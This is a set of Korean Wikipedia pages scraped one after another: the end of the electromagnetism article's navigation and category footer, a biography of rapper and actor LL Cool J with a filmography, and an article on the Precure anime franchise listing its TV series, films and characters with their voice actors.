통계역학 유체역학 양자역학 파동장 중력 전자기학 양자장론 상대성이론 특수 상대성이론 일반 상대성이론 전문 분야 가속물리학 음향학 천체물리학 핵 천체물리학 항성물리학 헬리오 물리학 태양물리학 우주물리학 천체입자물리학 원자 분자 광 물리학 계산물리학 응집물질물리학 고체물리학 디지털 물리학 기초공학 재료물리학 수리물리학 핵물리학 광학 기하광학 물리광학 비선형 광학 양자광학 입자물리학 현상학 플라스마 고분자물리학 통계물리학 물리학과 다른 과학 생물리학 심장물리학 생물역학 의학물리학 신경물리학 농업물리학 토양물리학 대기물리학 화학물리학 경제물리학 지구물리학 정신물리학 vdeh물리학의 4가지 기본 상호작용 강력 약력 전자기력 중력 전거 통제 LCCN: sh85042184 GND: 4014306-5 SUDOC: 027233030 BNF: cb133183393 (데이터) NDL: 00561481 원본 주소 "https://ko.wikipedia.org/w/index.php?title=전자기학&oldid=24060004" 분류: 물리학전자기학숨은 분류: CS1 관리 - 여러 이름영어 표기를 포함한 문서그리스어 표기를 포함한 문서CS1 관리 - 추가 문구LCCN 식별자를 포함한 위키백과 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 AfrikaansAragonésالعربيةঅসমীয়াAsturianuБългарскиবাংলাབོད་ཡིགBosanskiБуряадCatalàکوردیČeštinaCymraegDanskEnglishEsperantoEspañolEestiEuskaraفارسیSuomiFrançaisFryskGaeilgeGalegoעבריתहिन्दीFiji HindiHrvatskiMagyarՀայերենInterlinguaBahasa IndonesiaIgboIdoÍslenska日本語Patoisქართულიភាសាខ្មែរಕನ್ನಡLatinaLëtzebuergeschLimburgsLatviešuМакедонскиമലയാളംМонголमराठीBahasa Melayuမြန်မာဘာသာनेपाल भाषाNederlandsNorsk nynorskNorskOccitanଓଡ଼ିଆਪੰਜਾਬੀPolskiپنجابیPortuguêsRomânăРусскийРусиньскыйSicilianuScotsSrpskohrvatski / српскохрватскиසිංහලSimple EnglishSlovenčinaSlovenščinaShqipСрпски / srpskiBasa SundaSvenskaதமிழ்ไทยTagalogTürkçeТатарча/tatarçaУкраїнськаاردوTiếng ViệtWinarayWolof吴语მარგალური中文Bân-lâm-gú粵語 링크 편집 이 문서는 2019년 4월 19일 (금) 03:59에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
LL 쿨 J - 위키백과, 우리 모두의 백과사전 LL 쿨 J 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 LL 쿨 J 기본 정보본명 James Todd Smith출생 1968년 1월 14일(1968-01-14) (51세)뉴욕주, 베이쇼어국적 미국직업 래퍼, 배우장르 힙합악기 보컬활동 시기 1984년 - 현재 LL 쿨 J(LL Cool J, 본명: 제임스 토드 스미스, zJames Todd Smith, 1968년 1월 14일 ~ )[1] 은 미국의 랩퍼이다. 그의 이름 LL 쿨 J는 'Ladies Love Cool James'를 간추려서 말한 예명이라고 한다. 그도 90년대 성공한 힙합스타이며 주로 로맨틱힙합을 해왔었다. 2008년에 13번째 앨범 'Exit 13'을 발매했으며 거의 20년이 다 되어가는 그의 전속 힙합레이블 데프잼 레코드'에서의 계약이 끝났다. 그는 지금 뉴욕에서 가정을 꾸렸다. 목차 1 데뷔 2 음악 활동 3 영화 작품 4 각주 5 외부 링크 데뷔[편집] 그는 어렸을 때 교회 성가대를 했었으며 보이스카우트로 일하기도 했고 신문배달원을 해보기도했다. 16살 때 데프잼 레코드에다가 믹스테이프를 레코드했었다. 음악 활동[편집] Radio 그는 80년대 힙합의 황금기를 이끌었던 Def Jam 에서의 데뷔앨범 [1]'Radio' 를 1985년에 발매했다. 이 앨범은 Def Jam의 성공을 이끈 최초의 음반이자 힙합의 황금기와 올드스쿨 음악의 다리 역할을 한 중요한 앨범으로 꼽힌다. [2]'I can't Live Without My Radio'등이 인기를 끌었으며 특히 "Rock the Bells" 은 하드코어 랩의 대중적 인기를 이끈 곡으로써 훗날 수많은 래퍼들이 [3]"Rock the Bells" 의 샘플을 사용 하였을 만큼 힙합음악의 교과서 적인 곡으로 평가 받고 있다. [4]'Radio' 앨범은 플래티늄 을 기록하며 인기를 끌었다. Bigger And Deffer 1987년 그는 두 번째 앨범 'bigger And Deffer'을 발매했고 발라드힙합곡인 'I Need Love'는 첫 번째로 히트친 그의 곡이었다. 그는 더블 플래티늄을 받았고 100대 탑앨범에 진입했다. 그는 두 번째 싱글 'I Need Love'오 알엔비 힙합챠트 1위를 하고 UK 싱글챠트에서 8위를 했다. 그리고 1987년 베스트 힙합싱글로 선정됐으며,100대 베스트 힙합송에서 13위를 차지했다. We Are The World 25 for Haiti 아이티 강진으로 인해 새로 리메이크 된 We Are The World 버전에서 래퍼로 참여 영화 작품[편집] 연도 제목 역할 참고 1985 Krush Groove Himself 1986 Wildcats Rapper 1991 The Hard Way Detective Billy, NYPD 1992 Toys Captain Patrick Zevo 1995 Out-of-Sync Jason St. Julian 1997 Touch 1998 Caught Up Roger All That (TV) Himself Guest Appearance Woo Darryl Halloween H20: 20 Years Later Ronald "Ronny" Jones 1999 Deep Blue Sea Sherman "Preacher" Dudley In Too Deep Dwayne Gittens/God Any Given Sunday Julian Washington 2000 Charlie's Angels Mr. Jones cameo 2001 Kingdom Come Ray Bud Slocumb 2002 Rollerball Marcus Ridley 2003 Deliver Us from Eva Raymond "Ray" Adams S.W.A.T. Officer Deacon "Deke" Kaye 2004 Mindhunters Gabe Jensen 2005 Edison Officer Rafe Deed Slow Burn Luther Pinks House (TV) Clarence Guest Appearance 2006 Last Holiday Sean Matthews 2007 Heartland 2007 30 Rock (TV) Ridikulous Guest Appearance 2008 The Deal Bobby Mason 2009 NCIS:LA (TV) Sam Hanna 각주[편집] ↑ Stephen Erlewine (2008). “LL Cool J on MSN”. MSN. 2008년 8월 6일에 확인함.  외부 링크[편집] LL 쿨 J - 공식 웹사이트 (영어) LL 쿨 J - 인터넷 영화 데이터베이스 위키미디어 공용에 관련된미디어 분류가 있습니다.LL 쿨 J 전거 통제 WorldCat VIAF: 20519508 LCCN: n91116968 ISNI: 0000 0003 6857 1427 GND: 120726955 SUDOC: 088521036 BNF: cb13932669v (데이터) BIBSYS: 1006616 뮤직브레인즈: a4dd0e77-83b8-4e92-89b7-effb0e47fd8c NKC: xx0035723 BNE: XX982454 원본 주소 "https://ko.wikipedia.org/w/index.php?title=LL_쿨_J&oldid=22325903" 분류: 1968년 태어남살아있는 사람미국의 남자 텔레비전 배우미국의 남자 영화 배우미국의 남자 연극 배우아프리카계 미국인 래퍼아프리카계 미국인 배우뉴욕 출신 래퍼뉴욕 출신 배우롱아일랜드 출신그래미상 수상자데프잼 레코드 음악가영어 가수남자 래퍼1980년대 가수1990년대 가수2000년대 가수숨은 분류: 위키데이터와 위키백과에서 차이가 있는 공식 웹사이트VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서ISNI 식별자를 포함한 위키백과 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서BIBSYS 식별자를 포함한 위키백과 문서MusicBrainz 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 AfrikaansالعربيةتۆرکجهБългарскиBosanskiČeštinaDanskDeutschΕλληνικάEnglishEspañolفارسیSuomiFrançaisFryskGaeilgeעבריתMagyarBahasa IndonesiaIdoÍslenskaItaliano日本語NederlandsNorskPolskiPortuguêsRomânăРусскийSrpskohrvatski / српскохрватскиSimple EnglishSvenskaKiswahiliไทยTürkçeTiếng ViệtYorùbá中文 링크 편집 이 문서는 2018년 9월 11일 (화) 16:38에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
프리큐어 시리즈 - 위키백과, 우리 모두의 백과사전 프리큐어 시리즈 위키백과, 우리 모두의 백과사전. (프리큐어에서 넘어옴) 둘러보기로 가기 검색하러 가기 프리큐어 시리즈(Precure series, プリキュアシリーズ)는 일본의 ABC, ASATSU DK(ADK), 토에이 애니메이션이 제작한 애니메이션 시리즈이다. 목차 1 개요 2 시리즈 일람 2.1 TV 시리즈 2.2 극장판 시리즈 2.3 크로스 오버 극장판 2.4 3D 애니메이션 극장판 3 프리큐어 일람 4 관련 문서 5 주해 6 외부 링크 개요[편집] 이 문단의 내용은 출처가 분명하지 않습니다. 지금 바로 이 문단을 편집하여, 참고하신 문헌이나 신뢰할 수 있는 출처를 각주 등으로 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2016년 5월 17일에 문단의 출처가 요청되었습니다.) 2004년부터 아사히 방송(ABC) 일요일 아침 8시 30분에 하는 애니메이션으로서 제작되어, TV 아사히 계열에서 방영된 《두 사람은 프리큐어》로 시작되는 애니메이션 작품이다. 시리즈 전체로는 토에이 애니메이션에서 여아 대상으로 제작된 이른바 '싸우는 히로인'을 답습한 '소녀 전대물'로서는 미소녀 전사 세일러문 시리즈 이래로 새로운 바람을 일으키며 시리즈가 거듭되고 있다. 프리큐어 시리즈는 매년 새로운 주인공과 배경 세계를 설정하며, 각 시리즈 사이에는 《올스타즈 극장판 시리즈》같은 주인공과 배경 세계가 통일된 개별작품을 제외하면 TV시리즈는 주인공과 배경 세계의 연속성은 없다. 어린아이부터 중, 고등학생(여아, 소녀)을 대상으로 한 작품이지만, 여자아이를 대상으로 한 예전 작품과는 다른 시도를 하였다. 전투 장면의 경우, 맨손 격투기에 의한 육탄전을 전개하는 방식으로 취하고 있으며, 연애 요소를 적게 하는 방식은 이 분야에 있어서 새로운 시도라 할 수 있는 기획이었다. 프리큐어라는 이름의 유래는 '프리티(Pretty)'와 '큐어(Cure)'를 합친 조어로, 각 시리즈 타이틀 로고 아래에 두 단어가 걸려있었으나, 《하트캐치 프리큐어!》이후부터는 Precure로 통일하고 있다. 《두 사람은 프리큐어 Splash Star》시리즈까지는 프리큐어가 2명이었으나, 《Yes! 프리큐어5》부터는 전대물 형식으로 전개된다. 대한민국에서는 SBS를 통해 2005년 12월 《빛의 전사 프리큐어》란 이름으로 들어와 이듬해에 2기 Max Heart는 대원방송(애니원/챔프)을 통해 방영되었고 그 이후로 계속 대원방송을 통해 2009년 7월부터 2011년까지 《Yes! 프리큐어5》TV 시리즈와 《극장판 거울나라의 미라클 대모험》이 방영되고 2014년에는 《스마일 프리큐어!》가 방영되었다. 이렇게 1년 간격으로 TV를 통해 정식으로 방송되고 있다. 현재까지 프리큐어 올스타즈 DX를 포함해 프리큐어 해당 시리즈의 한국판 극장판은 개봉되거나 방영되지 않았지만 지난 2011년 12월 23일 Yes! 프리큐어5 극장판이 TV에 정식으로 방영되었고, 2016년 5월 4일 《극장판 프리큐어 올스타즈 New Stage - 미래의 친구》가 2016년 7월 17일 《극장판 프리큐어 올스타즈 New Stage 2 - 마음의 친구》가 연달아 방영되었다. 시리즈 일람[편집] TV 시리즈[편집] 작품(원제) 방영기간 총 화수 프리큐어 인원 1 빛의 전사 프리큐어 (ふたりはプリキュア) 2004년 2월 1일 - 2005년 1월 30일 49화 2명 2 프리큐어 Max Heart (ふたりはプリキュア Max Heart) 2005년 2월 6일 - 2006년 1월 29일 47화 3명 3 두 사람은 프리큐어 Splash Star (ふたりはプリキュア Splash Star) 2006년 2월 5일 - 2007년 1월 28일 49화 2명 4 Yes! 프리큐어5 (Yes! プリキュア5) 2007년 2월 4일 - 2008년 1월 27일 49화 5명 5 Yes! 프리큐어5 GoGo! (Yes! プリキュア5 GoGo!) 2008년 2월 3일 - 2009년 1월 25일 48화 6명 6 프레시 프리큐어! (フレッシュプリキュア!) 2009년 2월 1일 - 2010년 1월 31일 50화 4명 7 하트캐치 프리큐어! (ハートキャッチプリキュア!) 2010년 2월 7일 - 2011년 1월 30일 49화 4명 8 스위트 프리큐어♪ (スイートプリキュア♪) 2011년 2월 6일 - 2012년 1월 29일 48화 4명 9 스마일 프리큐어! (スマイルプリキュア!) 2012년 2월 5일 - 2013년 1월 27일 48화 5명 10 두근두근! 프리큐어 (ドキドキ! プリキュア) 2013년 2월 3일 - 2014년 1월 26일 49화 5명 11 해피니스 차지 프리큐어! (ハピネスチャージプリキュア!) 2014년 2월 2일 - 2015년 1월 25일 49화 4명 12 Go! 프린세스 프리큐어 (Go! プリンセスプリキュア) 2015년 2월 1일 - 2016년 1월 31일 50화 4명 13 마법사 프리큐어! (魔法つかいプリキュア!) 2016년 2월 7일 - 2017년 1월 29일 50화 3명 14 키라키라☆프리큐어 아라모드 (キラキラ☆プリキュア アラモード) 2017년 2월 5일 - 2018년 1월 28일 49화 6명 15 허긋토! 프리큐어 (HUGっと! プリキュア) 2018년 2월 4일 - 2019년 1월 27일 49화 5명 16 스타☆트윙클 프리큐어 (スター☆トゥインクルプリキュア) 2019년 2월 3일 - 2020년 1월 26일 5명 극장판 시리즈[편집] 작품(원제) 개봉일(현지 기준) 상영시간 1 영화 두 사람은 프리큐어 Max Heart (映画 ふたりはプリキュア Max Heart) 2005년 4월 16일 약 70분 2 영화 두 사람은 프리큐어 Max Heart 2 눈 내리는 하늘의 친구들 (映画 ふたりはプリキュア Max Heart 2 雪空のともだち) 2005년 12월 10일 약 71분 3 영화 두 사람은 프리큐어 Splash Star 똑딱똑딱 위기일발! (映画 ふたりはプリキュア Splash Star チクタク危機一髪!) 2006년 12월 9일 약 50분 4 영화 Yes! 프리큐어5 거울 나라의 미라클 대모험! (映画 Yes! プリキュア5 鏡の国のミラクル大冒険!) 2007년 11월 10일 약 70분 5 영화 Yes! 프리큐어5 GoGo! 과자 나라의 해피버스데이♪ (映画 Yes! プリキュア5 GoGo! お菓子の国のハッピーバースディ♪)초~단편 프리큐어 올스타즈 GoGo 드림 라이브 (ちょ〜短編 プリキュアオールスターズ GoGoドリームライブ) 2008년 11월 8일 약 75분(합계) 6 영화 프레시 프리큐어! 장난감 나라에는 비밀이 가득? (映画 フレッシュプリキュア! おもちゃの国は秘密がいっぱい!?) 2009년 10월 31일 약 71분 7 영화 하트캐치 프리큐어! 꽃의 도시에서 패션쇼입니까? (映画 ハートキャッチプリキュア! 花の都でファッションショー…ですか!?) 2010년 10월 30일 약 71분 8 영화 스위트 프리큐어♪ 되찾아라! 마음이 이어주는 기적의 멜로디♪ (映画 スイートプリキュア♪ とりもどせ! 心がつなぐ奇跡のメロディ♪) 2011년 10월 29일 약 70분 9 영화 스마일 프리큐어! 그림책 속은 모두 뒤죽박죽! (映画 スマイルプリキュア! 絵本の中はみんなチグハグ!) 2012년 10월 27일 약 70분 10 영화 두근두근! 프리큐어 마나가 결혼을!? 미래를 이어주는 희망의 드레스 (映画 ドキドキ! プリキュア マナ結婚!!? 未来につなぐ希望のドレス) 2013년 10월 26일 약 72분 11 영화 해피니스 차지 프리큐어! 인형 나라의 발레리나 (映画 ハピネスチャージプリキュア! 人形の国のバレリーナ) 2014년 10월 11일 약 71분 12 영화 Go! 프린세스 프리큐어 Go!Go!! 호화 3편!!! (映画 Go! プリンセスプリキュア Go!Go!!豪華3本立て!!!)호박 왕국의 보물 (パンプキン王国のたからもの) (장편)프리큐어와 레피의 원더 나이트! (プリキュアとレフィのワンダーナイト!) (중편)큐어 플로라와 장난 거울 (キュアフローラといたずらかがみ) (단편) 2015년 10월 31일 약 75분 13 영화 마법사 프리큐어! 기적의 변신! 큐어 모후룬! (映画 魔法つかいプリキュア! 奇跡の変身!キュアモフルン!)큐어 미라클과 모후룬의 마법 연습! (キュアミラクルとモフルンの魔法レッスン!) 2016년 10월 29일 약 70분(합계) 14 영화 키라키라☆프리큐어 아라모드 파릿토! 추억의 밀푀유! (映画 キラキラ☆プリキュア アラモード パリッと!想い出のミルフィーユ!)쁘띠☆드림스타즈! 렛츠 라 쿠킹? 숏트 타임! (Petit☆ドリームスターズ! レッツ・ラ・クッキン?ショータイム!) 2017년 10월 28일 약 70분(합계) 15 영화 스타☆트윙클 프리큐어 별의 노래에 마음을 담아서 (映画 スター☆トゥインクルプリキュア 星のうたに想いをこめて) 2019년 10월 19일 크로스 오버 극장판[편집] 작품(원제) 개봉일(현지 기준) 상영시간 프리큐어 인원 1 영화 프리큐어 올스타즈 DX 모두 친구☆기적의 전원 대집합! (映画 プリキュアオールスターズ DX みんなともだちっ☆奇跡の全員大集合!) 2009년 3월 20일 약 70분 14명[주 1] 2 영화 프리큐어 올스타즈 DX2 희망의 빛☆레인보우 쥬얼을 지켜라! (映画 プリキュアオールスターズ DX2 希望の光☆レインボージュエルを守れ!) 2010년 3월 20일 약 72분 17명[주 2] 3 영화 프리큐어 올스타즈 DX3 미래에 닿아라! 세계를 잇는☆무지갯빛 꽃 (映画 プリキュアオールスターズ DX3 未来にとどけ! 世界をつなぐ☆虹色の花) 2011년 3월 19일 약 70분 21명[주 3] 4 영화 프리큐어 올스타즈 뉴 스테이지 미래의 친구 (映画 プリキュアオールスターズ New Stage みらいのともだち) 2012년 3월 17일 약 70분 29명 5 영화 프리큐어 올스타즈 뉴 스테이지 2 마음의 친구 (映画 プリキュアオールスターズ New Stage 2 こころのともだち) 2013년 3월 16일 약 71분 32명[주 4] 6 영화 프리큐어 올스타즈 뉴 스테이지 3 영원의 친구 (映画 プリキュアオールスターズ New Stage 3 永遠のともだち) 2014년 3월 15일 약 71분 36명[주 5] 7 영화 프리큐어 올스타즈 봄의 카니발♪ (映画 プリキュアオールスターズ 春のカーニバル♪) 2015년 3월 14일 약 74분 40명[주 6] 8 영화 프리큐어 올스타즈 모두 함께 노래하다♪ 기적의 마법! (映画 プリキュアオールスターズ みんなで歌う♪奇跡の魔法!) 2016년 3월 19일 약 70분 44명[주 7] 9 영화 프리큐어 드림스타즈! (映画 プリキュアドリームスターズ!) 2017년 3월 18일 약 70분 12명[주 8] 10 영화 프리큐어 슈퍼스타즈! (映画 プリキュアスーパースターズ!) 2018년 3월 17일 약 71분 12명[주 9] 11 영화 허긋토! 프리큐어♡두 사람은 프리큐어 올스타즈 메모리즈 (映画 HUGっと! プリキュア♡ふたりはプリキュア オールスターズメモリーズ) 2018년 10월 27일 약 73분 55명[주 10] 12 영화 프리큐어 미라클 유니버스 (映画 プリキュアミラクルユニバース) 2019년 3월 16일 15명[주 11] 3D 애니메이션 극장판[편집] 작품(원제) 개봉일(현지 기준) 상영시간 프리큐어 인원 1 프리큐어 Splash Star 매직★두근♥ 3D 시어터 (ふたりはプリキュア Splash Star マジッ★ドキッ♥ 3Dシアター) 2006년 약 12분 2 프리큐어 올스타즈 DX 3D 시어터 (プリキュアオールスターズ DX 3Dシアター) 2011년 약 12분 22명 3 모두 모여! 프리큐어 페스티벌! 프리큐어 ON 미라클♡매지컬☆스테이지 (みんなあつまれ!プリキュアフェスティバル プリキュア ON ミラクル♡マジカル☆ステージ) 2016년 약 -분 44명[주 12] 프리큐어 일람[편집] 등장 작품 변신형태 등장편 변신자(일본명 / 국내명) 성우(일본 / 한국) 요정(일본명 / 국내명) 변신 아이템(일본명 / 국내명) 빛의 전사 프리큐어프리큐어 Max Heart 큐어 블랙 무인1화 미스미 나기사 / 묵하람 혼다 요코 / 정미숙 멧플 / 메플 프리큐어 카드카드 코뮨 (무인)하트풀 코뮨 (Max Heart부터) 큐어 화이트 유키시로 호노카 / 백시연 유카나 / 박소라 밋플 / 미플 샤이니 루미너스 Max Heart1화 쿠죠 히카리 / 이예빈 타나카 리에 / 이용신 포룬 / 포롱루룬 터치 코뮨 두 사람은 프리큐어 Splash Star 큐어 블룸 1화 휴가 사키 / 김소라 키모토 오리에 / 윤성혜 프라피 / 플라피무프 프리큐어 다이아믹스 코뮨 (29화까지)크리스탈 코뮨 (30화부터) 큐어 브라이트 30화 큐어 이그넷 1화 미쇼 마이 / 이보라 에노모토 아츠코 / 정윤정 쵸피 / 초피후프 큐어 윈디 30화 Yes! 프리큐어5Yes! 프리큐어5 GoGo! 큐어 드림 51화 유메하라 노조미 / 이소망 산페이 유코 / 윤여진 코코넛츠밀크 (5만)시럽 (GoGo! 부터) 핑키 캣츄 (5)큐어 폰 (GoGo!부터) 큐어 루즈 52화 나츠키 린 / 나혜린 타케우치 쥰코 / 김아영 큐어 레몬네이드 53화 카스가노 우라라 / 김초원 이세 마리야 / 이지현 큐어 민트 54화 아키모토 코마치 / 박하늘 나가노 아이 / 서유리 큐어 아쿠아 56화 미나즈키 카렌 / 최가영 마에다 아이 / 이명선 밀키 로즈 GoGo!10화[주 13] 미미노 쿠루미 / 우유미 센다이 에리 / 김성연 밀키 팔레트 프레시 프리큐어! 큐어 피치 1화 모모조노 러브 / 박소미 오키 카나에 / 김서영 피룬 / 핑크링 시퐁타르트 링크룬 / 큐어 링크링 큐어 베리 2화 아오노 미키 / 김나현 키타무라 에리 / 소연 브룬 / 블루링 큐어 파인 3화 야마부키 이노리 / 나소희 나카가와 아키코 / 조경이 키룬 / 옐로링 큐어 패션 23화[주 14] 히가시 세츠나 / 유채린 코마츠 유카 / 이명희 아카룬 / 레드링 하트캐치 프리큐어! 큐어 블로섬 1화 하나사키 츠보미 / 진달래 미즈키 나나 / 이보희 / 이명호 (뉴스테이지 3부터) 시프레 코코로 퍼퓸 큐어 마린 3화 쿠루미 에리카 / 최바다 미즈사와 후미에 / 김하영 코프레 큐어 선샤인 23화 묘도인 이츠키 / 강해라 쿠와시마 호우코 / 김나율 포프리 샤이니 퍼퓸 큐어 문라이트 33화[주 15] 츠키카게 유리 / 문채희 히사카와 아야 / 안영미 코론 코코로 포트 스위트 프리큐어♪ 큐어 멜로디 1화 호조 히비키 / 최향기 코시미즈 아미 / 박선영 도리미리 파미 큐어 모듈레 큐어 리듬 미나미노 카나데 / 주아윤 오리카사 후미코 / 전해리 레리파리 큐어 비트 21화[주 16] 쿠로카와 엘렌 / 송유리 토요구치 메구미 / 김도영 라리솔리 큐어 뮤즈 35화[주 17] 시라베 아코 / 안소희 오오쿠보 루미 / 이재현 도도리시리 스마일 프리큐어! 큐어 해피 1화 호시조라 미유키 / 김다솜 후쿠엔 미사토 / 양정화 캔디팝 스마일 팩트 큐어 써니 2화 히노 아카네 / 홍주화 타노 아사미 / 윤아영 큐어 피스 3화 키세 야요이 / 황보미 카네모토 히사코 / 김연우 큐어 마치 4화 미도리카와 나오 / 채희란 이노우에 마리나 / 한수림 큐어 뷰티 5화 아오키 레이카 / 한설희 니시무라 치나미 / 이지현 두근두근! 프리큐어 큐어 하트 1화 아이다 마나 / 마나 나바타메 히토미 / 정소영 샤를 러블리 코뮨큐어 라비즈 큐어 다이아몬드 3화 히시카와 릿카 / 루시아 코토부키 미나코 / 강시현 라켈 큐어 로제타 4화 요츠바 아리스 / 앨리스 후치가미 마이 / 김새해 란스 큐어 소드 1화[주 18] 켄자키 마코토 / 리라 미야모토 카나코 / 김하영 다비 큐어 에이스 22화[주 19] 마도카 아구리 / 아링 쿠기미야 리에 / 송하림 아이쨩 러브 아이즈 팔레트큐어 라비즈 해피니스 차지 프리큐어! 큐어 러블리 1화 아이노 메구미 / 김나연 나카지마 메구미 / 박지윤 리본 프리첸 미러프리 카드 큐어 프린세스 시라유키 히메 / 정소미 한 메구미 / 윤미나 큐어 하니 9화[주 20] 오모리 유코 / 배주희 키타가와 리나 / 장예나 큐어 포춘 1화[주 21] 히카와 이오나 / 최유라 토마츠 하루카 / 김율 글라산 포춘 피아노큐어 카드 Go! 프린세스 프리큐어 큐어 플로라 1화 하루노 하루카 / 한보미 시마무라 유우 / 여민정 파푸아로마 프린세스 퍼퓸드레스 업 키 큐어 머메이드 2화 카이도 미나미 / 정바다 아사노 마스미 / 윤은서 큐어 트윙클 4화[주 22] 아마노가와 키라라 / 유은하 야마무라 히비쿠 / 유보라 큐어 스칼렛 22화[주 23] 아카기 토와 / 장영원 사와시로 미유키 / 사문영 마법사 프리큐어! 큐어 미라클 1화 아사히나 미라이 / 미정 타카하시 리에 / 미정 모후룬하쨩 (16~21화[주 24]) 모후룬링클 스톤 큐어 매지컬 이자요이 리코 / 미정 호리에 유이 / 미정 큐어 페리체 22화 하나미 코토하 / 미정 하야미 사오리 / 미정 링클 스마폰링클 스톤 키라키라☆프리큐어 아라모드 큐어 휩 1화 우사미 이치카 / 미정 미야마 카렌 / 미정 페코링 스윗츠 팩트애니멀 스윗츠 큐어 커스터드 2화 아리스가와 히마리 / 미정 후쿠하라 하루카 / 미정 큐어 젤라토 3화 타테가미 아오이 / 미정 무라나카 토모 / 미정 큐어 마카롱 5화 고토츠메 유카리 / 미정 후지타 사키 / 미정 큐어 쇼콜라 6화 켄죠우 아키라 / 미정 모리 나나코 / 미정 큐어 파르페 23화 키라보시 시엘 / 미정 미나세 이노리 / 미정 허긋토! 프리큐어 큐어 옐 1화 노노 하나 / 미정 히키사카 리에 / 미정 허그탄해리햄 해리 프리 팩트미라이 크리스탈 큐어 앙주 2화 야쿠시지 사아야 / 미정 혼이즈미 리나 / 미정 큐어 에투알 5화 카가야키 호마레 / 미정 오구라 유이 / 미정 큐어 마셰리 20화 아이사키 에미루 / 미정 타무라 나오 / 미정 큐어 아무르 루루 아무르 / 미정 타무라 유카리 / 미정 스타☆트윙클 프리큐어 큐어 스타 1화 호시나 히카루 / 미정 나루세 에이미 / 미정 후와후룬스 스타 컬러 펜던트스타 컬러 펜 큐어 밀키 2화 하고로모 라라 / 미정 코하라 코노미 / 미정 큐어 솔레유 4화 아마미야 에레나 / 미정 야스노 키요노 / 미정 큐어 셀레네 5화 카구야 마도카 / 미정 코마츠 미카코 / 미정 큐어 코스모 15화[주 25] 블루캣 / 미정 우에사카 스미레 / 미정 관련 문서[편집] 토에이 애니메이션 아사히 방송 ASATSU DK 나카요시 토도 이즈미 카미키타 후타고 반다이남코게임즈 태고의 달인 아이돌 마스터 주해[편집] ↑ "프레시 프리큐어!"의 큐어 패션은 아직 등장X. ↑ "하트캐치 프리큐어!"의 큐어 선샤인과 큐어 문라이트는 아직 등장X. ↑ "스위트 프리큐어!"의 큐어 비트와 큐어 뮤즈는 아직 등장X. ↑ 전작인 "영화 프리큐어 올스타즈 New Stage 미래의 친구"에 등장한 큐어 에코는 포함되지 않았다. "두근두근 프리큐어!"의 큐어 에이스는 아직 등장X. ↑ 이 작품으로 공식 프리큐어에 포함되지 않지만, 전작인 "영화 프리큐어 올스타즈 New Stage 2 마음의 친구" 이후 다시 등장한 큐어 에코를 포함. "해피니스 차지 프리큐어"의 큐어 포츈은 아직 등장X. 이 중 큐어 하니는 대부분 지원 등장. ↑ 이 작품으로 공식 프리큐어에 포함되지 않지만, 전작인 "영화 프리큐어 올스타즈 New Stage 3 영원의 친구" 이후 다시 등장한 큐어 에코는 포함되지 않았다. "Go! 프린세스 프리큐어"의 큐어 스칼렛은 아직 등장X. ↑ 이 작품으로 공식 프리큐어에 포함되지 않지만, 전작인 "영화 프리큐어 올스타즈 봄의 카니발♪" 이후 다시 등장한 큐어 에코를 포함. "마법사 프리큐어!"의 큐어 페리체는 아직 등장X. ↑ 프리큐어 인원수는 49명(올스타즈에 등장하는 큐어 에코는 제외). 이 작품 중 프린세스, 마법사, 키라키라 아라모드만 참가. 전작인 "영화 프리큐어 올스타즈 모두 함께 노래하다♪ 기적의 마법!" 이후 큐어 블랙을 포함한 37명의 프리큐어들이 등장X. "키라키라☆프리큐어 아라모드"의 큐어 파르페는 아직 등장X. ↑ 프리큐어 인원수는 53명(올스타즈에 등장하는 큐어 에코는 제외). 이 작품 중 마법사, 키라키라, 허긋토!만 참가. 마찬가지로 큐어 블랙을 포함한 41명의 프리큐어들이 등장X. "허긋토! 프리큐어"의 큐어 마셰리와 큐어 아무르는 아직 등장X. ↑ 프리큐어 전원 55명 등장(올스타즈에 등장하는 큐어 에코는 제외). ↑ 프리큐어 인원수는 59명(올스타즈에 등장하는 큐어 에코는 제외). 이 작품 중 키라키라, 허긋토!, 스타☆트윙클만 참가. 마찬가지로 큐어 블랙을 포함한 44명의 프리큐어들이 등장X. ↑ TV 시리즈의 프리큐어 (마법사 프리큐어! 중에 "영화 프리큐어 올스타즈 모두 함께 노래하다♪ 기적의 마법!"에서 미등장한 큐어 페리체가 등장) 등장하며, 크로스 오버 영화 한정의 큐어 에코는 등장X. ↑ 정식 등장은 14화부터다. ↑ 정식 등장은 24화부터다. 